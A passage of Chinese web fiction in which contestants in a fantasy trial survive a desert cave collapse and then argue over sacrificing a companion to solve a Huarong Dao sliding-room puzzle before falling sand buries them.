白从欢反应过来是要唤醒的就是葡萄,急声提醒:“沙土无法蓄水,灌溉的时候注意要以滴灌式进行。”
天空的闪电加剧,迅猛得像似要把整个天劈得七零八碎般。
电闪雷鸣快速移动而来,选手们在阵阵轰隆声中,埋头在沙土里当起了农夫。不少人手心捏着一把把汗珠,迅速分成十一排栽植着。
陈离翡一边栽植,一边问:“什么是滴灌式?”
“就这样一滴一滴,慢慢来,让种子喝水。”秦为墨手把手,耐心的教学。
选手们快速种植完所有得葡萄籽。
“出芽了?”第一排的曲皓尧惊呼,“柯翰,你这种得也太快了吧!神奇!”
柯翰身前,一株青绿色的葡萄幼苗,顽强的从沙土里生长出来。
半空中的诡异闪电,骤然消失,天空放晴了。
“哇!青诡走了!看来我们成功唤醒龛主了!”
“柯翰,你真厉害!”
“我也觉得哈哈哈。”柯翰很是得意。
冷荻拂去手中的沙土,低声道:“小翰很厉害,柳鸷也是我们的大功臣。”
“是啊!也多亏小鸷聪明。”白从欢说着四处寻柳鸷,“诶?小鸷跑那么远做什么?”
柳鸷背对着人群,瞳孔上的数字在闪动,观众满意值由「17.8%」升为「19.8%」。
怎么偏偏差「0.2%」,满「20%」就可以再提升一级法力了。
“小鸷,你在哪里干什么?”白从欢唤着。
“没什么,我马上过来。”手腕上的金菜动了动,想要跳起来,被柳鸷按下。“别起来,人多。”
金菜躺平了,“恭喜宿主,您当前观众满意值为「19.8%」,离回到现世界只差「80.2%」的距离。”
“知道了。”
没一会儿的功夫,有十排的葡萄籽已经陆陆续续出芽,有的已经长出真叶,只有柳鸷种下的那一排没有任何动静。
“觉得失望?”正在检查自己种得葡萄籽的柳鸷,猝然听见柏封棠的声音。她摇了摇头,“不会,命里若无时,我为何要强求。”
柳鸷心态极稳,从不内耗。
“你只是对不在乎的事物无欲无求而已,譬如,葡萄出芽。”柏封棠若有所思的道出真相。
何止是葡萄,柳鸷对世间万物都不在乎,除了与她相依为命的哥哥。
柳鸷起身,下意识的旋转着大拇指上青铜扳指,摩挲着镂空雕刻的游隼纹,漫不经心道:“你似乎很了解我?你以前认识我啊?”
柏封棠直勾勾的、凝视着柳鸷,半晌道:“不认识。”
“你撒谎了。”柳鸷回想过往的种种,试探道:“你不仅认识我,甚至——”
柳鸷步步逼近,至柏封棠身前。
她轻踮脚尖,凑近,朱色的前襟布料一寸一寸,摩擦过冥色的长袍,丝裙绣的玄金色棣棠花,拂过冥色长袍上的金蟒。
她附在他的左耳畔下,热气翻卷着压低的声线,轻飘飘道:“在意我。”
柏封棠瞳孔微颤,紧紧的猎视着柳鸷的眸光。
柳鸷能感觉得出来,柏封棠试图在透过她,寻找另一个人存在的痕迹。
探寻无果后,他的眼神就淡了下来。
柳鸷想,他认识的、了解的、在意的,或许不是她,只是刚好那个人喜欢的,她也喜欢。
柳鸷突发奇想,随口问:“那个人,和我很像吗?”
“谁?”柏封棠的声调崩紧。
31. 酒骨龛(三)
柏封棠瞳孔微颤,滚动喉结,单手钳着柳鸷的肩膀推离安全距离。
柳鸷紧紧的锚定着柏封棠,她能感觉得出来,他试图在透过她,寻找另一个人存在的痕迹。
这是第二次了。
探寻无果后,他的眼神肉眼可见的淡了下来。
柳鸷想,他认识的、了解的、在意的,或许不是她,只是刚好那个人喜欢的,她也喜欢。
柳鸷突发奇想,随口问:“那个人,和我很像吗?”
“谁?”
“你心里的那个人。”柳鸷如实道。
柏封棠抿紧的嘴角像冰棱般锋利,似要在膨胀、滚烫的空气里爆发。
柳鸷无惧风暴,安静的等待。
在热流之间僵持、拉锯。
须臾,柏封棠微微向前倾身,压向柳鸷。他半眯着眼盯着她,反诘:“你凭什么以为我心里有人?”
“我的第六感很准。”
“第六感?”柏封棠嘴角微微上扬,身体愈向前。
柳鸷不得不后抬手抵住他的胸膛,退半步。怎料,柏封棠轻笑、挑衅着:“怕什么?不想知道那人是谁吗?”
看来柏封棠真的有白月光。
倾诉是人类的天性,柳鸷秉着成为一位好听众的想法,侧耳过去,屏息静听。
柏封棠哑声道:“那个人——”
“你躲着这里偷看什么?”陈离翡大嗓门打断了柏封棠的话,柳鸷愕然朝陈离翡望去。
躲在沙丘后,偷看柏封棠和柳鸷拉扯,正起劲的白从欢,被当场抓包,感觉......窘迫道:“我就是路过、路过。”
白从欢郝然的,一脚踹开陈离翡,跑了。
“靠!这疯女人!”陈离翡捂着脚,吃痛的,“诶!你们俩,别聊了。快回来。他们说要去找沙绪酒庄了。”
柏封棠喉结滚动,将所有呼之欲出的话压下,“走吧。他们该等着急了。”
柳鸷:“......”拽住他,“话别说一半。”吊人胃口。
柏封棠痞了一句,“怎么办?突然不想说了。”而后,他拂袖离开。
柳鸷才意识到,被耍了!
这人根本没打算说。
柳鸷气鼓鼓的过去时,一群选手正在讨论,打算启程往北,试图通过水源,寻找沙绪酒庄。
“人都走了,那这些新种的葡萄苗,你们打算怎么办?”柳鸷问。
罗圣博说:“这些苗已经没有利用价值了,管它做什么。”
柯翰接道:“如果你想守在这也是可以的。”
冷荻看了柯翰一眼,示意他安静。“沙漠太大,如果安排一两个人在这守着太危险了,安全起见,大家还是集体行动有个照应。”
柳鸷望着十排已长出真叶的葡萄苗,没人管,估计就自生自灭了。
临走前,她将水葫芦里的水都浇进葡萄苗里。
一行人在广袤的沙漠里,跋涉过沙丘之脊,寻到一处沙窟。临近正午,太阳毒辣,所有人都累得、渴得不行,打算进窟避避暑。
沙窟的甬道窄小而幽深,为以防万一,选手们打算在甬道休整一会儿。
柳鸷见赭色的岩壁有些湿润,“里面可能有水。”
白从欢晃了晃水葫芦,“那正好,我水都喝光了,一会路远,我得进去装点水。”
“我也去。”
......
一群缺水的选手点着火折子,小心翼翼的在昏暗、狭窄的甬道中摸索。此起彼伏的沉闷呼吸声与细碎的脚步声交杂,回荡在空洞的甬道里。
柯翰哆嗦着,抱紧冷荻的手臂,“冷姐,我怕黑。”
冷荻握紧他,安抚的拍拍,“怕什么?跟紧我。死不了。”
柳鸷的指尖划过粗糙的窟壁,一股冰凉、潮湿的冷意沁入指腹,直透心头。
湿润度加大,离水源近了。
转过一处蜿蜒,骤然传来一阵极轻的、金属刮擦的沙沙声。
白从欢警惕道:“前方有东西?”
在前方开道的秦为墨,瞥见一抹尾针流逝的幽光,“可能是蛰伏的蝎子。大家小心,别碰蝎子。”
等他们走近,夜行的群蝎反而惧怕选手似的,齐刷刷的四处逃散。
大量的刮擦声,听得柳鸷的颈间的寒毛都炸了起来。
一群人有惊无险,往里深入,直达腹地,窥得一片天光。
窟顶是一个碗口大的洞,盛着日影,倾泻于倒挂的钟乳石林,石尖渗出水珠坠进一汪泉潭里。
“真的有水。”白从欢惊喜着,往前试了下水,“没问题,可以喝。”
但柳鸷总感觉不对劲,提醒道:“大家快取水,取完我们出去。”
“这窟里冰,就在这里休息会吧。”罗圣博说。
“最好还是到窟口去,万一......”
“能有什么万一?这里又没龛,怕什么。”
柯翰接话,“对啊,你没看到大家都很累吗?虽然你刚才误打误撞解决了复活题,但凭什么都要听你的。”
柳鸷无所谓的摊了摊手,“行,想留得留下。”
“你!什么态度?”
柳鸷没理,去泉潭边取水。
柳鸷明白,大家都是成年人,都活这么多年了,脾性很难改变。
她要做的是挑选伙伴,而不是试图改变伙伴。
冷荻取完水回来,一掌拍在柯翰脑袋上,“疼啊,冷姐。”
冷荻问:“你们两个,干什么针对一个小姑娘?”
柯翰揉着脑袋,“我这不是看她拽拽的,不爽嘛。就算柏神他们不指挥,也该是冷姐你指挥,哪里轮得到她一个外舍选手,在一群大佬面前颐指气使的。”
罗圣博奉承着:“是啊,所有选手里,就她等级最低,我们才不听她的,我们只认冷姐。”
“对,我们还是拥护冷姐。”
“少狗腿子,她虽然是外舍的。”冷荻望向侧在泉潭边喝水的柳鸷,欣赏道:“但灵得很,假以时日,会成为佼佼者的。”
取完水后,只有柳鸷、柏封棠、秦为墨、谷栖夏想要出去。
陈离翡半哭半闹的装可怜,“外面热死了,就在这里休息一个时辰,你们也留下来,咱们这么多人,真有什么事也不怕打不过。”
曲皓尧也跟着劝道:“大家都是一个团队的,最好在一起比较安全。”
陈离翡好声哄着:“对啊对啊,好不好嘛?墨墨?甜甜?可以吗?”
甜甜?
秦为墨扶额,瞅了瞅柏封棠,见他一脸查无此人,懒得理陈离翡的模样,不由好笑。
秦为墨转身,拖住陈离翡的手臂,“别乱喊,走,我们快点出去。”
冷荻望向柏封棠说:“你们在外面,我也不放心。留下来吧?”
柏封棠下意识望向柳鸷,陈离翡见有戏,可劲拽着柳鸷的裙摆耍无赖,“我就不让你走了。好柳鸷!留下来嘛......”
柳鸷问柏封棠,只见他耸耸肩,表示无所谓,“你决定就好。”
柳鸷终究是架不住陈离翡的泼皮,留了下来。
几人检查,确认安全后,众人才席地而坐,躺平的、喝水的、掏干粮的,吹水打屁着。
没一会儿,声音渐渐弱下来。
柳鸷啃完包子扭头看,有几个人都累得睡着了,只有秦为墨还在同柏封棠说些什么,声音极小,听不清。
柳鸷倚靠在墙壁,抱臂小憩会。
睡梦中,柳鸷好像又回到那条四周铁门的长廊上,她在跑,慌乱的脚步越过一间间铁门,到达601X的房号门前。
门开了。
一头长相诡异的野兽突然从门内冲出来。
“啊——”
柳鸷在一声爆发的惊吼中倏地惊醒,一道刀刃猛地刺入肉的声音传进柳鸷耳内。
柳鸷越过柏封棠,瞧见冷荻持剑捅穿了柯翰,而柯翰面容扭曲,眼睛睁得极大,一双赤红色的瞳孔在半暗的角落亮得异常。
秦为墨大声喊:“全都给我醒来!”
“啊——”柯翰狰狞的狂吼,伸展着四肢,身体猝然膨胀,变得巨化,像个超级巨人顶得窟壁裂开,钟乳石林哐哐地往下砸。
选手们睁开眼,都懵了。
陈离翡搓了搓眼睛,“靠!怎么回事?”
“柯翰被龛感染了。”柏封棠冷冽道:“柳鸷,先带他们先出去。”
巨形的柯翰徒手拔出胸口的小剑,比人身还长的手指掐住冷荻的身体,随手一丢,将她甩飞在壁上。
“你们先走。”柳鸷躲开纷乱的钟乳碎石,过去
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扶起冷荻,白从欢也跑来帮忙,俩人一左一右,挟着冷荻往窟口甬道去。
窟内斗争激烈,震得整个甬道都在颠簸。
柳鸷回头,看见秦为墨也出来了,“你留柏封棠一个人?”
“放心,他搞得定。”
一群人快速跑出窟口时,窟内传来一阵巨响。
嘭嘭嘭——
沙窟爆炸开,威力巨大,柳鸷大喊:“趴下!”
但来不及了。
选手们被冲击波弹飞出去。
滚滚的沙粒与重重浓烟,火速袭向四周,卷起阵阵烟灰色的沙暴,宛如一朵超级蘑菇升起。
沙暴席卷,选手们被冲散了。
柳鸷倒在炙热的沙地里,用法力嵌着一块烫手的巨石上,周遭能见度极低,沙雾迷了眼睛,只能听见秦为墨和白从欢的喊声。
一股骤风袭来,巨石滚动,柳鸷抓不稳,刹那间,卷入沙暴里。
柳鸷在沙暴里狂卷,挣脱不开,整个人都转晕了。
半晌,骤然重重的摔进一片柔软的沙地里。
柳鸷揉搓着眼睛里的细沙,突然听见陈离翡的咒骂声,很轻。
“靠!这是什么鬼地方这么黑?”
柳鸷睁开眼,发现四周昏暗,仅一道微弱的光线从地上的缝隙中照射进来。
而她的身体深陷在一片如果冻般柔软的沙地之中,随着她起身,方才躺过的、凹陷的轮廓,逐渐回正、消失。
柳鸷借着微光,依稀可见屋里四面环绕着黄沙墙,没有门,周围一个人都没有,有一种空洞的恐怖。
地面不稳,柳鸷本想扶着墙站起来,结果刚压在黄沙墙上,墙面深陷出柳鸷的五指,她松手又弹了回来。
柳鸷喊了一声:“陈离翡?你在哪?”
“我在这破土屋里。”陈离翡语速急躁,声调应是高分贝,但传到柳鸷耳朵里却很轻、很空,像是从很远传来的,最重要的是从缝隙口传入。
柳鸷颠簸地爬到缝隙口处。
这个缝隙口是一个圆环的形态,环绕着一根粗壮的黄沙石柱,柱顶是一枚棋子镶嵌在十字中央,像一个机关。
柳鸷趴在缝隙口,瞄了一眼外头,怎么回事?
脚下竟然是一片蓝得透亮的天空。
世界颠倒了吗?
为什么天在脚下?
“柳鸷,你在哪里?这里只有我们俩人吗?墨墨、小白他们呢?”
“你姐姐我在的。”白从欢说。
“小翡,我也在。”秦为墨说。
“我也在。”
......
选手们的声音此起彼伏,从缝隙口传进柳鸷房间内。
除了柯翰,余下十位选手竟然都进了这古怪的房间。
“柳鸷,你怎么样?”柏封棠问。
“无碍。”柳鸷问:“你们几人在一间房?”
白从欢说:“我这只有我。”
“我也是。”
所有人纷纷表示。
看来每一个选手都单独进入了一个房间。
白从欢疑惑,“这到底什么地方?我记得我被卷到沙暴里,怎么就到这了?”
曲皓尧说:“而且这地和墙都很奇怪,像棉花一样,一脚踩、一拳打,全都进去凹了,松开后又回正了。”
“我的法力在这还使不上劲了。”
冷荻说:“这是个密室,破解之法不在墙。你们房间中间都有一根黄沙石柱吗?”
柳鸷听着选手们的描述,和她的房间是一样的。她观察着石柱上的棋子,镶嵌在黄沙镂空的十字之内,似乎可以随着十字的空隙挪动。
罗圣博回了一句:“我这有。我看柱顶的棋子好像可以移动。”
陈离翡好奇道:“咦?真的吗?那我试试。”
柳鸷怀疑这十字棋子有问题,连忙出声制止。“别乱移!陈离翡!”
陈离翡怏怏的嘀咕:“不动就不动,这么凶我干什么?”
柳鸷根本没顾上陈离翡的叨叨,她猝然听见一道高声尖叫,离得很近,似乎是罗圣博的声音。
柳鸷立马蹲在地上,眼透过缝隙往下望,“罗圣博,你怎么了?”
无人回应。
冷荻的声音从很远传来,“圣博,怎么回事?”
32. 酒骨龛(四)
片霎,华容道里才传来罗圣博的声音。他悻悻道:“我没事,刚刚陷进沙墙里,还以为出不来了。吓我一跳。”
沙地上缓缓地升起细沙,如倒挂的细雨般一粒粒滚落到屋顶上,沉淀、融为一体。
柳鸷捻着细沙摩挲,屋顶似乎变厚了。
白从欢忙问:“你们房间倒挂沙雨了吗?”
“卧槽,这沙雨像蛇一样还往我袍子里钻,墨墨你能不能把这屋子劈了,我不想在这呆着了!”陈离躁郁着。
“小翡,法力使不上劲,劈不开。”秦为墨有些无奈。
“那甜甜呢?你也劈不开吗?”
柏封棠淡淡的回:“法力受限。”
冷荻沉静道:“沙落屋顶,屋顶在往下降。”
“房间内空间有限,这是要活埋了我们的节奏。”白从欢说:“大家赶紧研究下怎么出去。我觉得这根黄沙石柱一定有大作用。”
......
落下的沙雨如同一个反置的倒计时沙漏,掐着时间,倒数选手们的死期——
房间内,沙雨乱飘,柳鸷抹了一把脸庞上沾染的细沙,干脆扯下披帛捂住口鼻。
她仰头望,想着要出去,得先弄明白这是个什么地方。
柳鸷回忆跑出沙窟时,太阳高挂西南方,影朝东北。
这房间只可能是空间颠倒,太阳是亘古不变。
那么缝隙里透出的光线,照着黄沙石柱的影子方向应为东北方。
柳鸷正经道:“各位,先打断你们的讨论下。我刚算了房间石柱的影子为东北方,你们房间都有石柱的话,麻烦你们站着石柱的影子上,目测下房间的尺寸、房向,逐一报出来下。”
“按时辰算,现在差不多是未时,石柱影子应该是北偏西多些。”白从欢想了下,报出:“那我的房间是东西走向一丈,南北走向两丈,为长方形。”
秦为墨说:“我和小白一样。”
柏封棠和曲皓尧说:“我也是。”
“不对啊,我的房间也是长方形,但是东西走向两丈,南北走向一丈。你们怎么和我不一样?”陈离翡纳闷道。
白从欢质疑,“你确定?要不要再辨辨方向?”
“靠!你不相信老子,老子也不跟你扯。”
“陈离翡应该没报错。”谷栖夏说:“我的房间也和你们不一样。我是正方形的,四周皆为一丈。”
金千菲说:“我和谷栖夏一样。”
罗圣博说:“我也是。”
柳鸷将每个人提供的房间信息快速记下,结合自己的房间,五长四正,如果再有一个两丈的正方形,这难道是——
柳鸷试探性的问:“冷荻,你刚刚没说,你的房间是什么样?”
冷荻的声音很冷,“你的房间是什么样?”
“我和谷栖夏一样。”
“五长四正?这很像一个三国华容道解密游戏。”冷荻的声音传出来,“柯翰很喜欢玩的。”
和柳鸷想得一块去了。
秦为墨狐疑:“封棠,你没杀死柯翰吗?”
柏封棠说:“身体死了,死时爆炸引起了沙暴,这应该是他最后的意念所设。如果是华容道,那要在流沙淹没前破局。”
“如何破局?”
“杀死柯翰。”
罗圣博吃惊,“又要杀柯翰?”
冷荻接过话,“准确的说是杀死被感染后的小翰,也就是龛。它应该在这华容道内,若杀不死它,我们就会被屋顶的流沙压死在这里。”
柳鸷思疑:“冷荻,柯翰怎么感染的?”
“不清楚。当时他睡在我身边,我察觉到有一股杀意,睁眼就发现小翰的眼球变成赤红色。他发狂想杀我,我才捅了他。”
“你和他待一块的时间最长,他先前有什么异样?”
冷荻想了下,“都挺正常的,除了一点,他极度怕黑,却又极力想留在沙窟里避暑。”
怕黑?
柳鸷陷入了沉思。
罗圣博疑虑,“现在不知道感染源,连龛的影子都看不见了,要怎么杀它?”
冷荻语调不乱,解释道:“三国华容道是用来救主帅的。如果我猜的没错,石柱上的这枚棋子是用来移动房间的,龛应该在主帅房间,只要把主帅的房间从正南出口推出局,就是杀死它了。”
“那主帅的房间在哪里?”
三国华容道只有十个房间,是五个长方形、四个正方形和一个大方正方形。
曲皓尧思索一番,开口问:“已经有五长四方,那冷荻,你的房间是大正方形?”
冷荻说:“你胡说什么,我和小白是一样的。”
冷荻也是长方形,就变成六长四方了。
不对。
柳鸷思忖着,冷荻、白从欢、曲皓尧、秦为墨、柏封棠、陈离翡,这六人,其中必定有一个人撒谎了。
沙雨引得白从欢咳嗽连连,还不忘问:“这数不对啊,曲皓尧你是不是看错了,你是大方形吧?”
曲皓尧气冲冲的,“你可别随口攀咬老子,别以为老子不知道大方形就是主帅房间。老子真的是长方形。”
倒挂的沙雨还在不断的落,屋顶下降到柳鸷的头顶了,她不得不蹲下身来。
华容道少则几步,多则上百步,再这样子下去还没杀死龛,就要被屋顶的沙压扁、埋了。得抓紧时间,先找出主帅房间。
柳鸷扫过四周,怎样才能确认所有人的位置。
突然西面的黄沙墙由外往里突出一块心形的沙土。
“谁在墙那边?”
白从欢悄声说:“小鸷,是我啊,我听你声音很近,没想到你真在我旁边。”
柳鸷醍醐灌顶,激动道:“小白,你真聪明。”紧接着,她朝缝隙口喊了声:“所有人,利用四面黄沙墙和声音远近,确定你周围的人,我们马上就能找到主帅房间了。”
一个房间至少会有二、三面墙毗邻其他人,多则四面,撒谎者难以再撒谎。
一刻钟后,根据所有选手提供的方位,结合方才的房间信息,一幅华容道平面图在柳鸷脑海中生成。
第一层是谷栖夏、陈离翡、金千菲。
第二层是曲皓尧、柏封棠、冷荻。
第三层是白从欢、柳鸷、罗圣博、秦为墨。
一、三层,尺寸正好吻合,那么,问题就出在第二层。
冷荻也看出来了,指挥道:“陈离翡,你将棋子往下移一步,就是往南移一步。”
“小翡,不准南移。龛如果在封棠的房间里,早就被封棠杀死了。”秦为墨言之凿凿着。
“秦哥,我又没说龛在柏神房间里,你担心什么?陈离翡南移,如果成了,那就确认柏神的房间是大正方
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形,如果没成,那他不就摆脱嫌疑了。”
所以,陈离翡这一步至关重要。
如果没成,那曲皓尧和冷荻就危险了。
柏封棠平静道:“让他下来。”
陈离翡哼哼,“你们吵什么吵,你们让我移我就移啊,我还不乐意移动了。”
陈离翡不按常理出牌,激得冷荻颇为不悦,呵斥道:“陈离翡,你给我下来!”
“我不,凭啥听你的。我要是往南移一步,万一就是出口,那我岂不是被推出局,死翘翘了。”
“你觉得我会故意害你?我冷荻是这种人吗?”
“谁知道。反正我不信你。”
冷荻被陈离翡气得眼中冒火,原本如冰山般的脸,都快烧融化了。
柳鸷不得已,好声安抚,“陈离翡,你在第一层很安全的,你可以南移一步,我向你保证,不会有事。”
“真的?”陈离翡半信半疑,最终还是被柳鸷说服,南移一步,但,“我移了,但怎么卡着移不动啊?”
冷荻分析:“你移不动,说明曲皓尧和我的房间有问题。但我确实是长方形。”
曲皓尧粗犷的嗓门大声着:“冷大姐就是暗指我有问题,我撒谎了。”
“我,曲皓尧敢作敢当,此生从未骗过人。我也看明白了,龛就是要让我们在华容道里相互猜忌,相互残杀,你们要信她,将我推出,我死没关系,可我的房间确实是长方形的。我死了,你们谁能保证你们不是下一个我。”
所有人,都不吭声了。
这种残杀同伴的做法在阙庭是不被允许的。
何况曲皓尧是个耿直、珍惜手足,宁愿牺牲自己也不愿毁掉龛品衣裳的人。
柳鸷在心里叹了一口气,如果只是因为陈离翡这一步就认定曲皓尧是主帅房间,未免有些不妥。
等等。
不对。
陈离翡下不来,也可能是柏封棠挡住了。
柳鸷将石柱上的棋子,往北方推了一步,不能动,这说明柏封棠还在她上方。
难道真的不是柏封棠?
一个大胆的猜想,在柳鸷脑海里诞生。
柳鸷大声说:“陈离翡,你再南移一步。罗圣博,你和我一起向北推一步。我数到三声,我们三个同时移动试试。”
“柳鸷,你怀疑我?”柏封棠不可置信的声音传来。
柳鸷淡淡地,“我怀疑所有人,包括我自己。”
“小翡,你不准移。”秦为墨说:“龛控制你们任何一个人,都比控制封棠容易。柳鸷,我不相信你的判断。”
但陈离翡是个反骨的家伙,见有人都怀疑柏封棠,反而兴奋了起来,“柳鸷,你快数数啊。”
“好。三。”
“小翡,你不听我话了吗?”
“二。”
“陈离翡!停下!”
“一。”
三道撞击的声音,哐哐哐在华容道内发出一阵巨响。
“我撞上了,动不了。”罗圣博说。
“我也是。”柳鸷的棋子北移被弹回,此刻依旧在十字中央。
华容道内,回荡着陈离翡狂热的笑声,“哈哈哈,我动了,我南移成功!”
陈离翡沉浸在喜悦之中,还不明白,他的成功意味着,柏封棠所在的房间才是真正的大正方形——主帅的房间。
33. 酒骨龛(五)
冷荻反应过来说:“柏神,你这么骗大家就很没意思了。”
柏封棠不惊不慌道:“我不明白你何出此言?但我所见确实是长方形。”
“你的房间有柯翰或者龛吗?”
柏封棠鄙夷着:“它们在我房间,能活?”
秦为墨坚信不可能是柏封棠,柏封棠杀柯翰异变的小新龛,简直是轻而易举。
众人陷入了困惑。
流沙屋顶又往下降了一尺,房间里,二分之一的空间与空气被黄沙吞噬了。
时间,要来不及了。
柳鸷想,所有人都隔着房间,看不到面容,“如果他不是真的柏封棠,而是龛呢?”
冷荻说:“有这种可能。我们只听到他的声音,根本没见到人。”
“封棠,是你吗?”秦为墨也有点动摇了。
“我是。”
秦为墨问:“那你记得昨晚我们一起做了什么?”
“喝酒,你喝醉了,一直在哭着懊悔,说你以前对陈离翡......”
“停!打住!你是我哥。别说了。”
冷荻又问:“你说你是柏封棠,那好。我问你,你为什么要选这场龛?”
“我的脑子替我做的决定。”
这与他在阙庭城门前的回答一致,可龛是不可能进入阙庭的。
其他人与柏封棠交涉并不多,只有白从欢问:“出阙庭前,我哥和你说了什么?”
“还能什么,无非是保你安全无虞。”
“这是我哥会说的话。他是真的柏封棠。”白从欢欣喜着。
“我只回答你们这三个问题,你们该去找真正的主帅了。”柏封棠懒得再多费一句口舌。
“我可以问最后一个吗?”柳鸷补充道。
“嗯?”柏封棠略顿,独有的嗓音传来。
“你在意、了解的那个人,是谁?”柳鸷想套话,又想试探。
柏封棠片晌才答:“我从未告诉过你。”
那就是确实有这个人存在。
柏封棠是真的柏封棠,他是真的有白月光。
而柳鸷,只是白月光的替身——黑月光,而已。
沙雨还在下,屋顶已降至石柱上的棋子了。
柳鸷放下冗杂的思绪,人蹲着,双手推着屋顶的黄沙,手往上蹿,握住棋子,“屋顶要掩没石柱了。大家先护住棋子。”
罗圣博焦渴的吼着:“要命了!队友一场,柯翰死了怎还要祸害我们!现在怎么办?”
冷荻的额头冒出细密的汗珠,思索片刻,决定破釜沉舟,“我认为推大方形出局,是唯一解法。”
金千菲惊诧,小声道:“冷姐,那可是柏神啊!他死了还好,万一没死,你就不怕他事后报复?”
“我不管他是谁,在那个房间就是他的命。就算被报复,也是我的命。”冷荻极为冷静道:“现在、大家举手表决,同意将柏封棠的房间推出局的吱个声。我第一个表态,我同意将他推出局。”
一时,空气像凝住了般,无人开口。
“怎么都哑巴了?还是不敢说?行,那我换个问法,不同意将柏封棠推出局的吱个声。”
又是一片沉默。
仿佛杀人之罪与尔等无关,尔等只是旁观者,或不知情般。
“都不说话是吧,那我就当你们都同意了。”
秦为墨立即反对:“我不同意。冷荻,你这样轻易决定一个人的生死,太草率了。”
“那你有什么更好的办法?”
秦为墨说:“再想想。”
时间不等人,冷荻果决道:“我们的命在这样一个世界,还有什么生死可谈,每天睁眼都是危机四伏、险恶重重。所有人,在进入神龛前不是都做好牺牲的准备了吗?”
“何况,我认为现在的情况挺好的,柏封棠法力高强,我们推他出局,说不定他死不了,但如果是我们之中的任何一个人在他那个主帅的房间,被推出去必然是死。”
冷荻转而问:“小白、千菲、圣博,你们怎么说?”
罗圣博说:“我听冷姐的。”
白从欢和金千菲也一样。
“谷栖夏、曲皓尧、陈离翡?”
曲皓尧纠结着,在投票和弃权之间摇摆,最后,“如果柏神真的是破局关键,我可以配合。”
谷栖夏也同意。
陈离翡说:“你们听我分析,我觉得这个华容道就是为了杀甜甜的。你们看啊,他杀了柯翰,柯翰肯定不甘心,最后的念头一定想复仇,所以弄了这华容道就是想借我们之手替自己复仇。”
“小翡!不要胡说。”秦为墨生气了。
陈离翡委屈道:“我又没说错,虽然我总想甜甜死,但他不能为了救我而死,所以我投反对票。”
冷荻:“?”
冷荻实属不理解陈离翡奇葩的逻辑,但既然是公开投票,那必须尊重陈离翡的选择。
她转问:“柳鸷,你呢?”
柳鸷思忖,按现在的房间格局,是三军用命的局。
诸侯争霸的朝代,将军队分为上中下三军,以中军最为尊,上军次之,下军再次之。
但每一军都是关键。
“各位,这是华容道,破三军用命的局至少需要十步,且每一个房间都得移动。所以,只要有一个人反对,那这局就破不了。”
十个房间、十个人。
剔除柏封棠,剩下九个。
冷荻追问:“那你呢?你怎么想的?”
倒挂的细碎沙雨,一粒粒砸在柳鸷的下颚,滚烫的灼着柳鸷的肌肤,像是在无形的催促着,你们要来不及了,你们都要死了。
柳鸷从容地掠掉沙粒,轻快道:“如果八个人都同意,那么——我没问题。”
秦为墨错愕,“柳鸷!你怎么能同意?封棠对你那么好。”
白从欢出声,“秦哥,这是神龛。小鸷有自由选择的权力。”
冷荻说:“柳鸷,你坚定自己的选择,不用怕他。”
秦为墨不悦,义愤填膺着,“你们俩不要太过分!”
......
面对秦为墨的质疑,柳鸷不想多做解释。
柏封棠所有的好都是有目的性的,但现在说这些没有意义。
如果柏封棠死了,那唯一知道她流金血秘密的人就此消失,他们之间的契约也消失,没人可以再胁迫她。
几个人在争执柏封棠的生死时,完全忽略了当事人的看法。
柏封棠那间房,静悄悄的。
秦为墨不善言辞,辨不过冷荻和白从欢,柳鸷又一直缄默。这彻底惹恼了秦为墨,“我不参与你们的行动,小翡,你现在退回原来的位置。”
柳鸷反应过来,迅速喊了一声,“谷栖夏,你快往东移一步,堵住了陈离翡的退路。”
一道撞击声响起,谷栖夏先一步抢占了空道。
片霎,陈离翡幽怨道:“墨墨,我没移成功。”
冷荻哈哈大笑,“柳鸷,你很聪明。陈离翡,你的反对无效了,你该走的那一步,已经完成了。”
原本七比三的局面,变成八比二。
秦为墨气得大骂柳鸷,可他一直是温文尔雅的谦谦君子,哪懂得什么脏话。骂来骂去,只有那几句。
“柳鸷,你这样有违道义!”
“柳鸷,你不能这样坏!”
“柳鸷,你会后悔的!”
柳鸷:“......”耳朵都听腻了。
开弓没有回头箭,柳鸷不会后悔。她自认为,是个只爱自己的唯我主义者。
她不在乎别人的看
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法,她只要活下去。
活下去回到现世界,找到哥哥。
见柳鸷毫无反应,秦为墨气得涨成红扑扑的关公脸,气咻咻地说:“我告诉你们,只要我一步不动,你们就别想妄想滥杀封棠。”
冷荻轻嗤,“等黄沙淹没你的呼吸,我倒要看看你在兄弟和保命之间如何选择。”
柳鸷在脑海中盘桓,按目前的位置,秦为墨应该是在倒数第三步。
屋顶已经降到柳鸷的头部,沙粒淹没了柳鸷的眼睛。
柳鸷握住棋子,大声道:“时间紧迫。同意的人先动起来。大家听指挥——”
罗圣博说:“等等,柳鸷,我怎么知道你的指挥是对的。万一你在我们不知情的情况下把我们一个一个推出去杀死怎么办。”
柳鸷没生气,淡然道:“也是,那我不说话了。冷荻,你最熟悉这个游戏,你来?”
“好。”
曲皓尧反对:“那我不相信冷大姐。我要柳鸷来指挥。”
这两人真不省心。
柳鸷提议,“这样,冷荻指挥,我复核,可以?”
至此,两人才作罢。
冷荻指挥,谷栖夏原地不动,曲皓尧北移一步,白从欢北移跟上。柳鸷西移一步。
南北走向完成。
紧接着,金千菲西移一步,冷荻北移跟上,接着就轮到秦为墨了。
“圣博,你等着秦哥北移了,你往东移一步就行了。”
“那秦哥要是不移呢?”
“那我们就陪着你秦哥一起,给柏神陪葬。”
灰头土脸的柳鸷松开了棋子,放任自己平躺下身体,获得一个微小的喘息。
而后,从袖口里掏出一颗山楂糖丸,塞进嘴里,一丝酸甜感在口腔内泛开。
这是那天在阙庭喝汤药时,柏封棠喂给她的糖。
后来两天,柏封棠还派人送来了药和糖果。
柳鸷没有吃。她觉得最苦的不是汤药,而是当她想尽一切办法活下去,但命运却要她将生死权交由他人之手。
无可奈何,才是最苦。
亦如此刻,秦为墨心若磐石,岿然不动。
柳鸷舌尖翻卷着糖果,看着像静静的赴死,实则脑中思绪繁杂。
时间,在华容道中焦灼了起来。
屋顶越往下沉,淹没柳鸷的后背。
沙粒实在太多了,陈离翡受不了,娇气的咳嗽着:“墨墨,你快移动,我受不了。而且甜甜他法力高强,不会有事的。”
“不行,小翡。”
冷荻提醒着:“秦哥,陈离翡能力弱,最先死的可能是他。”
华容道中传来陈离翡虚弱的声音,“墨墨,快点,这沙粒要吞了我,我快不能呼吸了......”
“小翡?”秦为墨艰难抉择。
